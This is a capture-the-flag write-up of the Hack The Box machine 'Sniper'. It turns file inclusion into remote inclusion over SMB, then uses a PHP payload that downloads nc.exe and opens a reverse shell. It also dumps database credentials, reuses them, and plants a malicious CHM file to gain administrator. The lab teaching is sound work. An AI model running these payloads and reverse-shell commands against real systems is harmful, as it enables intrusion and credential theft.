Posts Hack The Box - Sniper
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Hack The Box - Sniper

Configuration

The operating system that I will be using to tackle this machine is a Kali Linux VM.

What I learnt from other writeups is that it was a good habit to map a domain name to the machine’s IP address so as that it will be easier to remember. This can done by appending a line to /etc/hosts.

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$ echo "10.10.10.151 sniper.htb" >> /etc/hosts

Reconnaissance

Using nmap, we are able to determine the open ports and running services on the machine.

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$ nmap -sV -sT -sC sniper.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-27 11:11 EDT
Stats: 0:00:02 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 0.65% done
Nmap scan report for sniper.htb (10.10.10.151)
Host is up (0.27s latency).
Not shown: 996 filtered ports
PORT    STATE SERVICE       VERSION
80/tcp  open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Sniper Co.
135/tcp open  msrpc         Microsoft Windows RPC
139/tcp open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 7h02m46s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-03-27T22:15:44
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 94.42 seconds

Enumeration (1)

Port 80 seems like a good place to start.

There was a login and a registration page:

/user/login.php and /user/registration.php

We can register a new account and login with it but to be only presented with this :(

/user/index.php

There was also a blog page:

/blog/index.php

But then when we view it in other languages by clicking on the options in the “Language” dropdown menu:

We see that it is trying to include other .php files for different languages! Maybe we can do some local file inclusion (LFI)?

I tried setting ?lang=index.php, only to realise that it would cause the server to recursively include index.php endlessly. Hence, we know that LFI is possible here.

Exploitation (1)

I tried many LFI techniques seen here but most of them didn’t work. It was as if there was some validation going on to prevent LFI.

That was when I was thinking: hmm… this is a Windows box right? What happens if we try to include a file in a SMB share? That was when I saw this in the same link:

Lets test out this theory.

First, I create a new folder on my Desktop:

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$ mkdir ~/Desktop/fileshare

And then configured my Samba config to create a new SMB share called public:

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$ cat /etc/samba/smb.conf
...
[public]:
	force user = nobody
	path = /root/Desktop/fileshare
	public = yes

With that done, I create a .php file in it :

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$ cat /root/Desktop/fileshare/phpinfo.php
<?php phpinfo(); ?>

And start my smbd service:

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$ systemctl start smbd

Now if we browse to /blog/?lang=\\10.10.XX.XX\public\phpinfo.php:

We have successfully upgraded from LFI to remote file inclusion (RFI) :)

Nows lets try to establish a reverse shell back to us. Since PHP reverse shells are sometimes a little wonky , I’m going to upload a nc.exe and use it to connecting back to our listener.

Starting a webserver:

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$ mkdir ~/Desktop/web
$ cp /usr/share/windows-resources/binaries/nc.exe ~/Desktop/web
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Creating a .php file to download nc.exe and connect back to us:

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$ cat /root/Desktop/fileshare/rev.php
<?php
# Create a temp dir
system("mkdir C:\\tmp");
# Download nc.exe
system("curl http://10.10.XX.XX/nc.exe > C:\\tmp\\nc.exe");
# Establish reverse shell
system("C:\\tmp\\nc.exe -e cmd.exe 10.10.XX.XX 1337");
?>

Starting our listener:

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$ nc -lvnp 1337
listening on [any] 1337 ...

Triggering our .php script and getting a shell:

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$ curl 'http://sniper.htb/blog/?lang=\\10.10.XX.XX\public\shell.php'
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connect to [10.10.XX.XX] from (UNKNOWN) [10.10.10.151] 50128
Microsoft Windows [Version 10.0.17763.678]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\inetpub\wwwroot\blog>whoami
whoami
nt authority\iusr

Enumeration (2)

Listing local users:

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C:\inetpub\wwwroot\blog>net users
net users

User accounts for \\

-------------------------------------------------------------------------------
Administrator            Chris                    DefaultAccount           
Guest                    WDAGUtilityAccount       
The command completed with one or more errors.

Seems like the user.txt is residing in Chris but we do not know his credentials.

Looking around, I found MySQL credentials in C:\inetpub\wwwroot\users:

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C:\inetpub\wwwroot\user>type db.php
type db.php
<?php
// Enter your Host, username, password, database below.
// I left password empty because i do not set password on localhost.
$con = mysqli_connect("localhost","dbuser","36mEAhz/B8xQ~2VM","sniper");
// Check connection
if (mysqli_connect_errno())
  {
  echo "Failed to connect to MySQL: " . mysqli_connect_error();
  }
?>

and also saw how the login feature for the website was implemented:

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<?php
require('db.php');
session_start();
// If form submitted, insert values into the database.
if (isset($_POST['username'])){
        // removes backslashes
        $username = stripslashes($_REQUEST['username']);
        //escapes special characters in a string
        $username = mysqli_real_escape_string($con,$username);
        $password = stripslashes($_REQUEST['password']);
        $password = mysqli_real_escape_string($con,$password);
        //Checking is user existing in the database or not
        $query = "SELECT * FROM `users` WHERE username='$username'
and password='".md5($password)."'";
        $result = mysqli_query($con,$query) or die(mysql_error());
        $rows = mysqli_num_rows($result);
        if($rows==1){
            $_SESSION['username'] = $username;
            // Redirect user to index.php
            header("Location: index.php");
         }else{
...

From this, we can tell that some possible usernames and passwords are stored in the users table in the columns username and password so lets try to dump them out:

Creating a .php file to dump out the users table:

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$ cat ~/Desktop/fileshare/dump.php
<?php
$conn = mysqli_connect("localhost","dbuser","36mEAhz/B8xQ~2VM","sniper");
// Check connection
if (mysqli_connect_errno())
  {
  echo "Failed to connect to MySQL: " . mysqli_connect_error();
  }
$sql = "SELECT * from users";
$result = mysqli_query($conn, $sql);
if (mysqli_num_rows($result) > 0) {
    // output data of each row
    while($row = mysqli_fetch_assoc($result)) {
        print_r($row);
    }
} else {
    echo "0 results";
}
mysqli_close($conn);
?>

Viewing the results:

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$ curl 'http://sniper.htb/blog/?lang=\\10.10.XX.XX\public\dump.php'
...
Array
(
    [id] => 1
    [username] => superuser
    [email] => admin@sniper.co
    [password] => 6e573c8b25e9168e0c61895d821a3d57
    [trn_date] => 2019-04-11 22:45:36
)
...

Putting the hash into Google (Yes Google), turns out it was the MD5 hash of $uperpassw0rd.

Using smbmap, I decided to manually test possible pairs of credentials since the password list was short:

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smbmap -H sniper.htb -u Chris -p "$uperpassw0rd"
[+] Finding open SMB ports....
[!] Authentication error on sniper.htb
[!] Authentication error on sniper.htb
root@kali:~/Desktop# smbmap -H sniper.htb -u Chris -p 36mEAhz/B8xQ~2VM
[+] Finding open SMB ports....
[+] User SMB session established on sniper.htb...
[+] IP: sniper.htb:445  Name: unknown                                           
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
		...
        IPC$                                                    READ ONLY       Remote IPC

Alright, we got Chris’s credentials. To login into Chris, we will need to do something like a su or sudo in Linux but for Windows! In Powershell, there is a cmdlet called Invoke-Command which allows you to specify who to run as using -Credential or -Session.

Testing Invoke-Command:

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C:\inetpub\wwwroot\blog>powershell
powershell
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\inetpub\wwwroot\blog> $SecPassword = ConvertTo-SecureString '36mEAhz/B8xQ~2VM' -AsPlainText -Force
PS C:\inetpub\wwwroot\blog> $Cred = New-Object System.Management.Automation.PSCredential('.\Chris', $SecPassword)
PS C:\inetpub\wwwroot\blog> $TestPCSession = New-PSSession -Credential $Cred
PS C:\inetpub\wwwroot\blog> Invoke-Command -Session $TestPCSession -ScriptBlock {cmd.exe /c whoami}
sniper\chris

It works! We were able to run commands as chris! Now lets try to establish another reverse shell as chris.

user.txt

Starting our listener:

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$ nc -lvnp 1337
listening on [any] 1337 ...

And running nc.exe to connect back to us:

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PS C:\inetpub\wwwroot\blog> Invoke-Command -Session $TestPCSession -ScriptBlock {cmd.exe /c C:\tmp\nc.exe -e cmd.exe 10.10.XX 1337}
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connect to [10.10.XX.XX] from (UNKNOWN) [10.10.10.151] 49687
Microsoft Windows [Version 10.0.17763.678]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\Chris\Documents>whoami
whoami
sniper\chris
C:\Users\Chris\Documents>type C:\Users\Chris\Desktop\user.txt
type C:\Users\Chris\Desktop\user.txt
21f4XXXXXXXXXXXXXXXXXXXXXXXXXXXX

Enumeration (2)

Looking around, I found a file in chris’s download folder:

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C:\Users\Chris\Downloads>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 6A2B-2640

 Directory of C:\Users\Chris\Downloads

04/11/2019  08:36 AM    <DIR>          .
04/11/2019  08:36 AM    <DIR>          ..
04/11/2019  08:36 AM            10,462 instructions.chm
               1 File(s)         10,462 bytes
               2 Dir(s)  17,988,661,248 bytes free

Using nc.exe, I downloaded the instructions.chm file and opened it in a Windows VM.

Starting our listener:

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$ nc -lvnp 1337 > instructions.chm
listening on [any] 1337 ...

Sending the file over:

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C:\Users\Chris\Downloads>C:\tmp\nc.exe 10.10.XX.XX 1337 < instructions.chm

Looks like we have a disgrunted employee here haha but nothing much here.

I also found a folder called C:\Docs:

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C:\Docs>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 6A2B-2640

 Directory of C:\Docs

10/01/2019  01:04 PM    <DIR>          .
10/01/2019  01:04 PM    <DIR>          ..
04/11/2019  09:31 AM               285 note.txt
04/11/2019  09:17 AM           552,607 php for dummies-trial.pdf
               2 File(s)        552,892 bytes
               2 Dir(s)  17,993,322,496 bytes free

In the note.txt:

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Hi Chris,
Your php skillz suck. Contact yamitenshi so that he teaches you how to use it and after that fix the website as there are a lot of bugs on it. And I hope that you've prepared the documentation for our new app. Drop it here when you're done with it.

Regards,
Sniper CEO.

Wow what a tough boss… Hmm… Could the instructions.chm be the documentation that the boss is talking about? If we try copying the instructions.chm to C:\Docs:

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C:\Docs>copy C:\Users\Chris\Downloads\instructions.chm . 
copy C:\Users\Chris\Downloads\instructions.chm . 
        1 file(s) copied.

C:\Docs>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 6A2B-2640

 Directory of C:\Docs

03/29/2020  06:38 AM    <DIR>          .
03/29/2020  06:38 AM    <DIR>          ..
04/11/2019  08:36 AM            10,462 instructions.chm
04/11/2019  09:31 AM               285 note.txt
04/11/2019  09:17 AM           552,607 php for dummies-trial.pdf
               3 File(s)        563,354 bytes
               2 Dir(s)  17,974,849,536 bytes free

And after a while, it disappeared!

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C:\Docs>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 6A2B-2640

 Directory of C:\Docs

03/29/2020  06:38 AM    <DIR>          .
03/29/2020  06:38 AM    <DIR>          ..
04/11/2019  09:31 AM               285 note.txt
04/11/2019  09:17 AM           552,607 php for dummies-trial.pdf
               2 File(s)        552,892 bytes
               2 Dir(s)  17,974,861,824 bytes free

It is possible that the CEO is retrieving the file and opening it. Using nishang’s Out-CHM.ps1, we can actually generate a malicious .chm that run arbitrary commands.

root.txt

First we will need to install HTML Help Workshop.

After some testing on my local machines, I managed to generate the correct .chm file:

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PS C:\Users\rizemon\Desktop> Import-Module .\Out-CHM.ps1
PS C:\Users\rizemon\Desktop> Out-CHM -Payload "C:\\tmp\\nc.exe -e cmd.exe 10.10.XX.XX 1337" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"
Microsoft HTML Help Compiler 4.74.8702

Compiling c:\Users\root\Desktop\doc.chm


Compile time: 0 minutes, 0 seconds
2       Topics
4       Local links
4       Internet links
0       Graphics


Created c:\Users\rizemon\Desktop\doc.chm, 13,438 bytes
Compression increased file by 142 bytes.

After transfering the doc.chm to my Kali’s web server directory, I uploaded it to C:\Docs as instructions.chm.

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C:\Docs>curl http://10.10.XX.XX/doc.chm > instructions.chm
curl http://10.10.XX.XX/doc.chm > instructions.chm
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 13436  100 13436    0     0  13436      0  0:00:01 --:--:--  0:00:01 18687

And started our listener:

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$ nc -lvnp 1337
listening on [any] 1337 ...

After a while, the instructions.chm disappeared and look at what we got on our listener!

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connect to [10.10.XX.XX] from (UNKNOWN) [10.10.10.151] 49709
Microsoft Windows [Version 10.0.17763.678]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
sniper\administrator

C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
5624XXXXXXXXXXXXXXXXXXXXXXXXXXXX

Rooted ! Thank you for reading and look forward for more writeups and articles !

This post is licensed under CC BY 4.0 by the author.